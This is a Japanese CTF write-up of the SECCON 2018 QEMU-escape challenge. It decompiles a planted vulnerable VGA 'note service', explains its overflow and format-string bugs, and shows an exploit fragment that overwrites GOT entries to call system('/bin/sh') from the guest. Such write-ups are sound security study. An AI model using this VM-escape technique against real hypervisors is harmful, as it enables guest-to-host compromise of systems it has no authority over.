ちなみに`cydf_mmio_blt_read()`,`cydf_mmio_blt_write()`は,`CydfVGAState`構造体の内部データを読み書きする関数です.
## ノートサービスの発見
解析を進めると,`cydf_vga_mem_write()`が怪しいことに気づくでしょう.どうやら,`malloc()`したバッファに任意のデータを保存・表示できるようなノートサービスが存在するようです.但し最適化がかなりキツくかかっており,IDAのデコンパイラを駆使しても,コード中の構造体を綺麗に表現することは出来ませんでした.このため,結局手動でデコンパイルしています.
尚,解析し終わってから気づいたのですが,qemu内のこのようなコールバックハンドラでは,一般的には`malloc()`を使わない気がします.即ち,コールバックハンドラで`malloc()`を使っているならば,ユーザのクエリに従って`malloc()`を行う,ヒープ系のバグを使う問題ではないか,とも考えられるわけです.今後qemu escape系の問題を見つけたら,この辺りを念頭において解析すれば,少しはショートカットになるかも知れません.
```C=
void __cdecl cydf_vga_mem_write(CydfVGAState *s, hwaddr addr, uint64_t val, uint32_t size)
{
...
if ( s->vga.sr[7] & 1 == 0 ) // ★ノートサービスに辿り着くには,ここを回避しなければならない
{
vga_mem_writeb(s, addr, val);
return;
}
if ( addr < 0x10000 )
{
if ( s->cydf_srcptr == s->cydf_srcptr_end )
{
if ( addr & 0x7FFF < s->vga.cydf_bank_limit[addr>>15] )
{
bank_offset = s->vga.cydf_bank_base[addr>>15] + addr & 0x7FFF;
if ( s->vga.gr[11] & 0x14 == 0x14 )
{
bank_offset *= 16;
}
else if ( s->vga.gr[11] & 2 )
{
bank_offset *= 8;
}
offset = bank_offset & s->cydf_addr_mask;
mode = s->vga.gr[5] & 7;
if ( mode <= 5 && s->vga.gr[11] & 4 )
{
if ( s->vga.gr[11] & 0x14 == 0x14 )
cydf_mem_writeb_mode4and5_16bpp(s, mode, offset, val);
else
cydf_mem_writeb_mode4and5_8bpp(s, mode, offset, val);
}
else
{
s->vga.vram_ptr[offset] = val;
memory_region_set_dirty(&s->vga.vram, offset, 8uLL);
}
}
}
else
{
*s->cydf_srcptr = val;
s->cydf_srcptr++;
if ( s->cydf_srcptr >= s->cydf_srcptr_end && s->cydf_srccounter)
cydf_bitblt_cputovideo_next(s);
}
return;
}
if ( addr < 0x18100 )
{
if ( (s->vga.sr[23] & 0x44) == 4 )
cydf_mmio_blt_write(s, (unsigned __int8)addr, (unsigned __int8)val);
}
else // 条件的には 0x18100 <= addr
{
type = s->vga.sr[204] % 5;
if ( s->vga.sr[205] || s->vga.sr[206] ) {
idx = s->vga.sr[205];
size = s->vga.sr[206] | val;
} else {
idx = 0;
size = 0;
}
switch ( type )
{
case 0: // add
if ( vulncnt > 0x10 || size > 0x1000 ) // ★vulncntの範囲は0~15が正しいが,16を許可している
break;
s->vs[vulncnt].buf = malloc(size);
if ( !new_buf )
break;
s->vs[vulncnt++].max_size = val;
break;
case 1: // set (follow max_size)
if ( idx > 0x10 || !s->vs[idx].buf || s->vs[idx].cur_size >= s->vs[idx].max_size )
break;
s->vs[idx].cur_size++;
s->vs[idx].buf[s->vs[idx]->cur_size] = val;
break;
case 2: // show
if ( idx > 0x10 )
break;
if ( s->vs[idx].buf )
__printf_chk(1LL, s->vs[idx].buf); // ★FSB
break;
case 3: // change_size
if ( idx > 0x10 || !s->vs[idx].buf || size > 0x1000 )
break;
s->vs[idx].cur_size = 0;
s->vs[idx].max_size = size; // ★buffer size change (to be BOF)
break;
case 4: // set2 (follow 0xfff)
if ( idx > 0x10 || !s->vs[idx].buf || s->vs[idx].cur_size > 0xFFF )
break;
s->vs[idx].cur_size++;
s->vs[idx].buf[s->vs[idx]->cur_size] = val; // ★OOB write
break
}
return;
}
}
```
## ノートサービスへのアクセス
このノートサービスは,明らかに怪しいので,出題者が仕込んだものでしょう.まずはノートサービスを利用するための条件を調べましょう.
このノートサービスを利用できる条件は以下の通りです.
1. `s->vga.sr[7] == 1`を満たす
2. `0x18100 <= addr`にアクセスした
3. `s->vga.sr[204]`,`s->vga.sr[205]`,`s->vga.sr[206]`,`val`が適切な値である
まずは`s->vga.sr[7] == 1`にしなければならないので,これを達成する方法を考えましょう.コールバック関数を色々見ていくと,
```C=
00000000febc1000-00000000febc1fff (prio 1, i/o): cydf-mmio ★cydf_mmio_read, cydf_mmio_write
```
で呼ばれる`cydf_mmio_write()`は,以下のようにアクセス時のオフセット(引数名は`addr`)で分岐していることが分かります.
```C=
void __cdecl cydf_mmio_write(CydfVGAState_0 *s, hwaddr addr, uint64_t val, unsigned int size)
{
if ( addr > 0xFF )
cydf_mmio_blt_write(s, addr - 0x100, (unsigned __int8)val);
else
cydf_vga_ioport_write(s, addr + 0x10, val, size);
}
```
オフセットが`0xff`以下の場合は,ポートマップドI/Oの書込処理と同じところ(=`cydf_vga_ioport_write()`)に飛んでいますね.ここも見てみましょう.
```C=
void __cdecl cydf_vga_ioport_write(CydfVGAState_0 *s, hwaddr addr, uint64_t val, unsigned int size)
val_ = val;
addr3b0 = addr + 0x3B0;
...
switch ( addr3b0 )
{
...
case 0x3C4uLL:
s->vga.sr_index = val_; ★
break;
case 0x3C5uLL:
sr_index = s->vga.sr_index;
switch ( (_BYTE)sr_index )
{
...
case 7:
cydf_update_memory_access(s);
sr_index = s->vga.sr_index;
goto LABEL_28;
...
LABEL_28:
s->vga.sr[sr_index] = val_; ★
break;
...
```
コマンドの分岐のような感じですね.綺麗に書くと,以下の通りです.
```C=
if (addr + 0x10 + 0x3b0 == 0x3c4)
s->vga.sr_index = val;
if (addr + 0x10 + 0x3b0 == 0x3c5)
s->vga.sr[s->vga.sr_index] = val;
```
今回は`s->vga.sr[7] = 1`にしたいのですから,物理アドレスに以下のように書き込めば良いでしょう.
```C=
*(0xfebc1000 + (0x3c4 - 0x3b0 - 0x10)) = 7;
*(0xfebc1000 + (0x3c5 - 0x3b0 - 0x10)) = 1;
```
これでノートサービスに辿り着く条件の1つを満たすことができました.
## ノートサービスの利用
残る2つの条件も見ていきましょう.
条件2は,`0x18100`より大きなオフセットに書き込みアクセスするだけなので簡単ですね.但し,このコールバック関数が呼ばれるためには,そもそも`0xa0000~0xc0000`の範囲にアクセスしていないといけません.つまり,実際は物理アドレス`0xa0000 + 0x18100`あたりにアクセスする必要があることに注意しましょう.
条件3は,ノートサービス内で利用する変数に適切な値が設定されていることです.そもそもノートサービスには,5つのコマンドがありました.`add`,`set`,`show`,`change_size`,`set2`です.各コマンドへの分岐には`type`, 各コマンド内では`idx`, `size`, `val`という値が使われています.それぞれの渡し方は以下の通りです.
```C=
type = s->vga.sr[204];
idx = s->vga.sr[205];
size = (s->vga.sr[206] << 8) | val;
val : 0x18100 <= addr にアクセスした時の書き込み値(char)
```
`s->vga.sr[204~206]`は,一つ前に`s->vga.sr[7] = 1`を設定したときと同じ手順で設定できますね.また,`val`は`0xa0000 + 0x18100`に書き込む時の値そのものです.これらを正しく設定しておけば,ノートサービスが利用できるはずです.
# バグ
コード中にもコメントで書いていますが,4つの脆弱性(バグ)が存在します.多すぎですね.とりあえず,それぞれ見ていきましょう.
## バグ1 - index overflow
まずは`add`コマンドに存在する,`vulncnt`のindex overflowです.
```C=
case 0: // add
if ( vulncnt > 0x10 || size > 0x1000 ) // ★vulncntの範囲は0~15が正しいが,16を許可している
break;
s->vs[vulncnt].buf = malloc(size);
if ( !new_buf )
break;
s->vs[vulncnt++].max_size = val;
break;
```
尚,`add`コマンド以外でもアクセスに利用する`idx`の判定は同じなので,結局全てのコマンドでindex overflowは存在しています.とりあえず今回は`add`コマンドで説明を続けましょう.
まず,`s->vs`に着目します.`vs`は`VulnState_0`型が16個続く配列です.
```=
00000000 CydfVGAState_0 struc ; (sizeof=0x13510, align=0x10, copyof_4201)
00000000 vga VGACommonState_0 ?
...
000133D8 vs VulnState_0 16 dup(?) ★16個
000134D8 latch dd 4 dup(?)
...
00013510 CydfVGAState_0 ends
```
`VulnState_0`型は以下のような構造体です.
```=
00000000 VulnState_0 struc ; (sizeof=0x10, align=0x8, mappedto_4198)
00000000 buf dq ?
00000008 max_size dd ?
0000000C cur_size dd ?
00000010 VulnState_0 ends
```
`vs`の配列サイズは`0x10`ですが,`add`コマンドにおける個数判定では(0-originなので)17個まで許可しています.従って17回確保すると,直下にある`latch`メンバを破壊できてしまいます.
```=
00000000 CydfVGAState_0 struc ; (sizeof=0x13510, align=0x10, copyof_4201)
00000000 vga VGACommonState_0 ?
...
000133D8 vs VulnState_0 16 dup(?)
000134D8 latch dd 4 dup(?) ★ここが破壊される
...
00013510 CydfVGAState_0 ends
```
また,そもそも17回確保しなくても,各種コマンドで`idx = 0x10`(つまり`latch`)を指定することで,アクセスすること自体は可能です.`latch`メンバを利用する方法については,後述します.
## バグ2 - FSB
`show`コマンドには,FSBがあります.
```C=
case 2: // show
if ( idx > 0x10 )
break;
if ( s->vs[idx].buf )
__printf_chk(1LL, s->vs[idx].buf); // ★FSB
break;
```
しかし`printf`にはFORTIFY_SOURCEが掛かっている(=`__printf_chk`に変更されている)ので,`$`指定や`%n`は使えません.スタックにあるアドレスのリークにしか使えなさそうですね.
## バグ3 - BOF
`change_size`コマンドには,BOFを引き起こすバグがあります.
```C=
case 3: // change_size
if ( idx > 0x10 || !s->vs[idx].buf || size > 0x1000 )
break;
s->vs[idx].cur_size = 0;
s->vs[idx].max_size = size; // ★buffer size change (to be BOF)
break;
```
`malloc()`で確保した`buf`のサイズを一切考慮せず,`max_size`を変更していますね.つまり`add`コマンドで`s->vs[idx].buf = malloc(0x10)`として確保されていても,`s->vs[idx].max_size = 0x1000`にする事ができてしまいます.`max_size`を大きい値に変更したら,その後`set`コマンドや`set2`コマンドを使うことで,大きくBOFすることができるでしょう.
## バグ4 - OOB-Write
`set2`コマンドには,配列外の書き込みを起こすバグがあります.
```C=
case 4: // set2 (follow 0xfff)
if ( idx > 0x10 || !s->vs[idx].buf || s->vs[idx].cur_size > 0xFFF )
break;
s->vs[idx].cur_size++;
s->vs[idx].buf[s->vs[idx]->cur_size] = val; // ★OOB write
break
```
`set2`コマンドでは`max_size`でなく固定値`0xfff`で比較していることが原因ですね.
## バグの全体考察
今回の問題では,以下のような特徴が存在します.
- 全体的に,`malloc()`はあるが`free()`がどこからも呼べないため,pwnにおけるいわゆるヒープ問題のようなテクは殆ど使えない
- qemuは高い頻度で常に領域を確保・解放するため,我々がmalloc/freeを発行しようとしている間に割り込まれてしまって,ヒープ上のチャンク状況は毎回変わってしまう
- 結論として,ヒープテクでのアプローチは難しい
- FSBでは,スタック上の値がリークできる
- 13個目にはmapped領域のアドレスが入っているので,相対的にlibcのアドレスを特定可能
- でもRIPを奪う役には立たない
- 結論として,FSBでのアプローチは難しい
- BOFやOOBでは,溢れるサイズ自体は大きいが,我々が利用しているバッファの後続の領域に,狙ったチャンクを配置することが難しい
- 色々調べたが,バッファの後続領域に確保されるチャンクは,サイズも内容も毎回ランダムに見える
- それらのチャンクの内容にも,RIPを奪えそうなものはなかった
- 結論として,BOF/OOBでのアプローチは難しい
沢山バグがあったのに,いい感じに使える脆弱性はあまり見つかりません.結果的に,残るバグは,index overflowくらいしかありません.
## バグ1の考察
index overflowを使うと,`latch`メンバを自由に破壊できると書きました.
```=
00000000 CydfVGAState_0 struc ; (sizeof=0x13510, align=0x10, copyof_4201)
00000000 vga VGACommonState_0 ?
...
000133D8 vs VulnState_0 16 dup(?)
000134D8 latch dd 4 dup(?) ★ここが破壊される
...
00013510 CydfVGAState_0 ends
```
さて,`latch`を使っているコードが他にあるか探しましょう.すると,今まで見てきた`cydf_vga_mem_write()`と対になる,`cydf_vga_mem_read()`に見つけることが出来ます.この関数も最適化によって非常に見辛くなっていたので,手動でデコンパイルしています.
```C=
uint64_t __fastcall cydf_vga_mem_read(CydfVGAState *s, hwaddr addr, uint32_t size)
{
if ( s->latch[0] & 0xffff == 0 )
s->latch[0] = addr | s->latch[0]; ★2
else
s->latch[0] = addr << 16; ★1
if ( (s->vga.sr[7] & 1) == 0 )
return vga_mem_readb(s, addr);
if ( addr < 0x10000 )
{
result = 255LL;
if ( addr & 0x7FFF < s->vga.cydf_bank_limit[addr>>15] )
{
bank_offset = s->vga.cydf_bank_base[addr>>15] + addr & 0x7FFF;
if ( (s->vga.gr[11] & 0x14) == 0x14 )
{
bank_offset *= 16;
}
else if ( s->vga.gr[11] & 2 )
{
bank_offset *= 8;
}
result = s->vga.vram_ptr[s->cydf_addr_mask & bank_offset];
}
}
else
{
result = 255LL;
if ( addr - 0x18000 <= 0xFF && (s->vga.sr[23] & 0x44) == 4 )
result = cydf_mmio_blt_read(s, (unsigned __int8)addr);
}
return result;
}
```
見て分かる通り,★のコードを上手く使えば,`s->latch[0]`を自由に改変できることが分かります.`s->latch[0]`は`s->vs[16].buf`の下位4バイトに相当しますから,16番目のノートのバッファをある程度自由に変更できる,というわけです.
# 攻略
## 攻略方針1
例えば事前に`add`コマンドで17回確保しておくと,index overflowにより,`s->latch[0]`にはヒープのアドレスが入っているはずです.具体的には,低位4バイト(`0x00007fXXyyyyzzzz`の,`yyyyzzzz`の部分)が入っています.
このため`latch[0] & 0xffff == 0`は満たさず,最初は★1の方へ行きます.`s->latch[0]`は,我々が指定したオフセット値`yyyy`で更新されて`yyyy0000`となります.
再度同様にアクセスすれば,`s->latch[0] & 0xffff == 0`を満たし,★2の方へ行きます.`s->latch[0]`は,我々が指定したオフセット値`zzzz`で更に更新されて,`yyyyzzzz`となります.
つまり,`add`コマンドにより`malloc()`で確保したヒープのアドレスの下位4バイトを,自由に任意に変更できるということです.
qemuではヒープがthread arenaから確保されているため,ヒープのアドレスとlibcのアドレスは,上位4バイトが一致するという特性があります.この特性を上手く使って,libcのbssなどにアドレスを向け,後はsetコマンドで破壊すれば良いでしょう.
この方法を試したところ,例えば`_malloc_hook`などを更新することで,確かにRIPは奪えました.しかし`system()`の引数を上手く調整することができず,またone_gadgetとも相性が悪かったため,他の安定する方法を探すことにしました.
## 攻略方針2
良く良く考えてみると,`s->latch[0]`に値を仕込むのは,17回確保する前でも良いことに気づきます.
17回確保しておくと嬉しい理由は,上位4バイトに`0x00007fXX`が埋め込まれるためでした.17回確保する前に`s->latch[0]`を改変しようとすると,`0xXXXXXXXXyyyyzzzz`の下位4バイト(`yyyyzzzz`)だけが設定されます.上位4バイト(`XXXXXXXX`)は何も設定されていなければ0のままです.つまりlibcやheapのアドレスは指定できませんが,PIEは無効なのでpltやgotだけでなんとかするならこれでも十分ということが分かります.幸い,qemuにはpltに`system()`がありますから,最終的には`rdi`レジスタを整えてここに飛ばせばよいでしょう.
## exploit
最終的なexploitは下記のようになりました.
このノートサービスから自由に呼び出せるライブラリ関数は`show`コマンドの`__printf_chk()`なので,そのGOTを書き換え,別の場所に飛ばします.飛ばす先は,グローバル変数から`rdi`に設定しつつ`free()`を呼ぶガジェットを利用しました.グローバル変数の保持する値を変えておけば,これで`rdi`を自由に指定できます.更に`free()`のGOTを書き換えて,`system()`を呼び出すところに飛ばし直せば良いでしょう.
`sleep_ms()`や`read_long()`や`read_str()`は,作成したものの,最終的には使っていません.攻略方針1で試していた時の名残です.
{%gist bata24/ff4ca03ed244a514f4c3dc1f517dbfdc %}
![](https://i.imgur.com/BEfMhU1.png)
# 追記
本番で試した所,何故かうまくいきませんでした.バックコネクトをサポートしていない閉じた環境の可能性を考慮して,`id`や`ls`など他のコマンドに変えてもだめでした.
libcやカーネルのバージョンに依存しない,安定したexploitを書けた自信があったのですが,失敗する理由がどうにもわかりません.とりあえずコケている場所を`puts`を使ってリモートデバッグすると,どうやらbssへの書き込み時点で失敗しているようでした.
大会当時から環境が改変された可能性を疑い,公式のpocを使ってみた所,こちらはシェルが取れます.なぜだろうとサーバ側の環境を確認したところ,配布されたqemuのバイナリとは全然違うバイナリが動いていました.
```sh=
[remote]
$ ls -l ./qemu-system-x86_64
-rwxr-xr-x 1 root q-escape 9118760★ Oct 23 17:30 ./qemu-system-x86_64
$ sha1sum ./qemu-system-x86_64
9c34ce94f9a88b8643219c968000579f11ae69a1 ./qemu-system-x86_64
$
[local]
root@Ubuntu64:~/ctf/SECCON-2018/q-escape# ls -l ./qemu-system-x86_64
-rwxrwxrwx 1 root root 28743976★ 10月 23 05:00 ./qemu-system-x86_64*
root@Ubuntu64:~/ctf/SECCON-2018/q-escape# sha1sum ./qemu-system-x86_64
9b4088c498fe0377017ab1dec7c70368b0c39b14 ./qemu-system-x86_64
root@Ubuntu64:~/ctf/SECCON-2018/q-escape#
```
そりゃ私のexploitが動くわけ無いですよね,オフセットから何から全部違うのですから.大会当日は同じバイナリが動いていた可能性もありますが,日付的には当時から差し替えられていない可能性が高そうです.大会当時,この辺のアナウンスとかされてましたっけ?
一応,問題文にはUbuntu 16.04 latestとあるので,Ubuntu 16.04 latestのlibcに依存した攻撃を行えばシェル自体は取れそうです(libcはlocalとremoteで同一バージョンだった).公式のPoCはlibcのstdoutのvtableを乗っ取っているようでした.
とりあえず原因がわかったので,一件落着です.私のexploitではリモートのフラグが取れませんでしたが,これは問題が不親切すぎる気がするので,良しとします(多分大会当日なら,運営に,配布バイナリと本番サーバで環境差分が出ていないか質問していたと思います).
一応,公式PoCを使ってリモートからqemuを持ってきて,オフセットを以下のように変更したら,リモートでもシェルが取れました.
```C=
...
_puts("[+] overwrite");
/*
.text:000000000059373D 008 48 8B 3D 84 98 94 00 mov rdi, cs:qword_EDCFC8 ; ptr
.text:0000000000593744 008 E8 F7 61 E7 FF call _free
.bss:0000000000EDCFC8 ?? ?? ?? ?? ?? ?? ?? ?? qword_EDCFC8 dq ?
.text:00000000006C41F5 018 E8 C6 53 D4 FF call _system
*/
unsigned long bss = 0xee2f00; // unused area
overwrite_str(bss, "/bin/sh");
unsigned long gptr = 0xedcfc8;
overwrite_8byte(gptr, &bss);
unsigned long call_free = 0x59373d;
unsigned long printf_got = 0xDEA2D8;
overwrite_8byte(printf_got, &call_free);
unsigned long call_system = 0x6c41f5;
unsigned long free_got = 0xDEA5C0;
overwrite_8byte(free_got, &call_system);
...
```
# 終わりに
qemu escape問題はこれまで苦手だったのですが,ようやく解くことが出来ました.
一度理解すると,結局はユーザランドのpwnと大差ないのですが,ハードウェア(大抵PCI)をqemuがどのように実装しているか,それらの情報をどうやって集めるか,という点を知らないと,攻略は難しいのではないかと思います.
12/11の記事は,[@Charo_ITさん](https://twitter.com/Charo_IT)の「[PlaidCTF 2017 - Chakrazy](http://charo-it.hatenablog.jp/entry/2018/12/11/005541)」です.